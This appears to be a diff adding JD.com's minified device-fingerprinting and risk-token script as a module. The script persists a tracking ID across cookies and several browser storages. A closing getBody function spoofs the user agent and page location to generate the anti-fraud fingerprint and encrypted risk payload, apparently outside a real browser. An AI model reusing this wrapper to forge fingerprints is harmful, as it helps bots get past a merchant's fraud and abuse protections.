e.getLocal("BATQW722QTLYVCRD"); + if (null != r && void 0 != r && "" != r) try { + var k = JSON.parse(r), + g = (new Date).getTime(); + null != k && void 0 != k.t && "number" == typeof k.t && (12E5 >= g - k.t && void 0 != k.tk && + null != k.tk && "" != k.tk && k.tk.startsWith("jdd") ? (e.deviceInfo.sdkToken = k.tk, + f = !0) : void 0 != k.tk && null != k.tk && "" != k.tk && (e.deviceInfo.sdkToken = + k.tk)) + } catch (m) { } + r = !1; + e.deviceInfo.isJdApp ? (e.deviceInfo.clientVersion = navigator.userAgent.split(";")[2], (r = 0 < e.compareVersion( + e.deviceInfo.clientVersion, "7.0.2")) && !f && e.getJdSdkCacheToken(function (m) { + e.deviceInfo.sdkToken = m; + null != m && "" != m && m.startsWith("jdd") || e.getJdBioToken(n) + })) : e.deviceInfo.isJrApp && (e.deviceInfo.clientVersion = navigator.userAgent.match( + /clientVersion=([^&]*)(&|$)/)[1], (r = 0 < e.compareVersion(e.deviceInfo.clientVersion, + "4.6.0")) && !f && e.getJdJrSdkCacheToken(function (m) { + e.deviceInfo.sdkToken = m; + null != m && "" != m && m.startsWith("jdd") || e.getJdJrBioToken(n) + })); + "function" == typeof n && n(e.deviceInfo) + } catch (m) { } + }; + this.compareVersion = function (n, e) { + try { + if (n === e) return 0; + var f = n.split("."); + var r = e.split("."); + for (n = 0; n < f.length; n++) { + var k = parseInt(f[n]); + if (!r[n]) return 1; + var g = parseInt(r[n]); + if (k < g) break; + if (k > g) return 1 + } + } catch (m) { } + return -1 + }; + this.isWKWebView = function () { + return this.deviceInfo.userAgent.match(/supportJDSHWK/i) || 1 == window._is_jdsh_wkwebview ? !0 : !1 + }; + this.getErrorToken = function (n) { + try { + if (n) { + var e = (n + "").match(/"token":"(.*?)"/); + if (e && 1 < e.length) return e[1] + } + } catch (f) { } + return "" + }; + this.getJdJrBioToken = function (n) { + var e = this; + "undefined" != typeof JrBridge && null != JrBridge && "undefined" != typeof JrBridge._version && (0 > e + .compareVersion(JrBridge._version, "2.0.0") ? console.error( + "\u6865\u7248\u672c\u4f4e\u4e8e2.0\u4e0d\u652f\u6301bio") : JrBridge.callNative({ + type: e.bioConfig.type, + operation: e.bioConfig.operation, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + }, function (f) { + try { + "object" != typeof f && (f = JSON.parse(f)), e.deviceInfo.sdkToken = f.token + } catch (r) { + console.error(r) + } + null != e.deviceInfo.sdkToken && "" != e.deviceInfo.sdkToken && (f = { + tk: e.deviceInfo.sdkToken, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f))) + })) + }; + this.getJdJrSdkCacheToken = function (n) { + var e = this; + try { + "undefined" == typeof JrBridge || null == JrBridge || "undefined" == typeof JrBridge._version || 0 > + e.compareVersion(JrBridge._version, "2.0.0") || JrBridge.callNative({ + type: e.bioConfig.type, + operation: 5, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + }, function (f) { + var r = ""; + try { + "object" != typeof f && (f = JSON.parse(f)), r = f.token + } catch (k) { + console.error(k) + } + null != r && "" != r && "function" == typeof n && (n(r), r.startsWith("jdd") && (f = { + tk: r, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f)))) + }) + } catch (f) { } + }; + this.getJdBioToken = function (n) { + var e = this; + n = JSON.stringify({ + businessType: "bridgeBiologicalProbe", + callBackName: "_bioDeviceCb", + params: { + pin: "", + jsonData: { + type: e.bioConfig.type, + operation: e.bioConfig.operation, + data: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + }, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + } + } + }); + e.isWKWebView() ? window.webkit.messageHandlers.JDAppUnite.postMessage({ + method: "notifyMessageToNative", + params: n + }) : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(n); + window._bioDeviceCb = function (f) { + try { + var r = "object" == typeof f ? f : JSON.parse(f); + if (void 0 != r && null != r && "0" != r.status) return; + null != r.data.token && void 0 != r.data.token && "" != r.data.token && (e.deviceInfo.sdkToken = + r.data.token) + } catch (k) { + f = e.getErrorToken(f), null != f && "" != f && (e.deviceInfo.sdkToken = f) + } + null != e.deviceInfo.sdkToken && "" != e.deviceInfo.sdkToken && (f = { + tk: e.deviceInfo.sdkToken, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f))) + } + }; + this.getJdSdkCacheToken = function (n) { + try { + var e = this, + f = JSON.stringify({ + businessType: "bridgeBiologicalProbe", + callBackName: "_bioDeviceSdkCacheCb", + params: { + pin: "", + jsonData: { + type: e.bioConfig.type, + operation: 5, + data: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + }, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + } + } + }); + e.isWKWebView() ? window.webkit.messageHandlers.JDAppUnite.postMessage({ + method: "notifyMessageToNative", + params: f + }) : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(f); + window._bioDeviceSdkCacheCb = function (r) { + var k = ""; + try { + var g = "object" == typeof r ? r : JSON.parse(r); + if (void 0 != g && null != g && "0" != g.status) return; + k = g.data.token + } catch (m) { + k = e.getErrorToken(r) + } + null != k && "" != k && "function" == typeof n && (n(k), k.startsWith("jdd") && (r = { + tk: k, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(r)))) + } + } catch (r) { } + }; + this.store = function (n, e) { + try { + this.setCookie(n, e) + } catch (f) { } + try { + window.localStorage && window.localStorage.setItem(n, e) + } catch (f) { } + try { + window.sessionStorage && window.sessionStorage.setItem(n, e) + } catch (f) { } + try { + window.globalStorage && window.globalStorage[".localdomain"].setItem(n, e) + } catch (f) { } + try { + this.db(n, _JdEid) + } catch (f) { } + }; + this.getLocal = function (n) { + var e = {}, + f = null; + try { + var r = document.cookie.replace(new RegExp("(?:(?:^|.*;\\s*)" + n + "\\s*\\=\\s*([^;]*).*$)|^.*$"), + "$1"); + 0 !== r.length && (e.cookie = r) + } catch (g) { } + try { + window.localStorage && null !== window.localStorage && 0 !== window.localStorage.length && (e.localStorage = + window.localStorage.getItem(n)) + } catch (g) { } + try { + window.sessionStorage && null !== window.sessionStorage && (e.sessionStorage = window.sessionStorage[ + n]) + } catch (g) { } + try { + p.globalStorage && (e.globalStorage = window.globalStorage[".localdomain"][n]) + } catch (g) { } + try { + d && "function" == typeof d.load && "function" == typeof d.getAttribute && (d.load( + "jdgia_user_data"), e.userData = d.getAttribute(n)) + } catch (g) { } + try { + E.indexedDbId && (e.indexedDb = E.indexedDbId) + } catch (g) { } + try { + E.webDbId && (e.webDb = E.webDbId) + } catch (g) { } + try { + for (var k in e) + if (32 < e[k].length) { + f = e[k]; + break + } + } catch (g) { } + try { + if (null == f || "undefined" === typeof f || 0 >= f.length) f = u(n) + } catch (g) { } + return f + }; + this.createWorker = function () { + if (window.Worker) { + try { + var n = new Blob([ + "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};" + ], { + type: "application/javascript" + }) + } catch (e) { + window.BlobBuilder = window.BlobBuilder || window.WebKitBlobBuilder || window.MozBlobBuilder, n = + new BlobBuilder, n.append( + "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};" + ), n = n.getBlob() + } + try { + this.worker = new Worker(URL.createObjectURL(n)) + } catch (e) { } + } + }; + this.reportWorker = function (n, e, f, r) { + try { + null != this.worker && (this.worker.postMessage(JSON.stringify({ + url: n, + data: e, + success: !1, + async: !1 + })), this.worker.onmessage = function (k) { }) + } catch (k) { } + } + }; + + function td_collect_exe() { + _fingerprint_step = 8; + var t = td_collect.collect(); + td_collect.collectSdk(); + var u = "string" === typeof orderId ? orderId : "", + v = "undefined" !== typeof jdfp_pinenp_ext && jdfp_pinenp_ext ? 2 : 1; + u = { + pin: _jdJrTdCommonsObtainPin(v), + oid: u, + p: "https:" == document.location.protocol ? "s" : "h", + fp: risk_jd_local_fingerprint, + ctype: v, + v: "2.7.10.4", + f: "3" + }; + try { + u.o = _CurrentPageUrl, u.qs = _url_query_str + } catch (w) { } + _fingerprint_step = 9; + 0 >= _JdEid.length && (_JdEid = td_collect.obtainLocal(), 0 < _JdEid.length && (_eidFlag = !0)); + u.fc = _JdEid; + try { + u.t = jd_risk_token_id + } catch (w) { } + try { + if ("undefined" != typeof gia_fp_qd_uuid && 0 <= gia_fp_qd_uuid.length) u.qi = gia_fp_qd_uuid; + else { + var x = _JdJrRiskClientStorage.jdtdstorage_cookie("qd_uid"); + u.qi = void 0 == x ? "" : x + } + } catch (w) { } + "undefined" != typeof jd_shadow__ && 0 < jd_shadow__.length && (u.jtb = jd_shadow__); + try { + td_collect.deviceInfo && void 0 != td_collect.deviceInfo && null != td_collect.deviceInfo.sdkToken && "" != + td_collect.deviceInfo.sdkToken ? (u.stk = td_collect.deviceInfo.sdkToken, td_collect.isRpTok = !0) : + td_collect.isRpTok = !1 + } catch (w) { + td_collect.isRpTok = !1 + } + x = td_collect.tdencrypt(u); + // console.log(u) + return { a: x, d: t } + } + + function _jdJrTdCommonsObtainPin(t) { + var u = ""; + "string" === typeof jd_jr_td_risk_pin && 1 == t ? u = jd_jr_td_risk_pin : "string" === typeof pin ? u = pin : + "object" === typeof pin && "string" === typeof jd_jr_td_risk_pin && (u = jd_jr_td_risk_pin); + return u + }; + + function getBody(userAgent, url = document.location.href) { + navigator.userAgent = userAgent + let href = url + let choose = /((https?:)\/\/([^\/]+))(.+)/.exec(url) + let [, origin, protocol, host, pathname] = choose; + document.location.href = href + document.location.origin = origin + document.location.protocol = protocol + document.location.host = host + document.location.pathname = pathname + const JF = new JdJrTdRiskFinger(); + let fp = JF.f.get(function (t) { + risk_jd_local_fingerprint = t + return t + }); + let arr = td_collect_exe() + return { fp, ...arr } + } + + JdJrTdRiskFinger.getBody = getBody; + module.exports = JdJrTdRiskFinger; \ No newline at end of file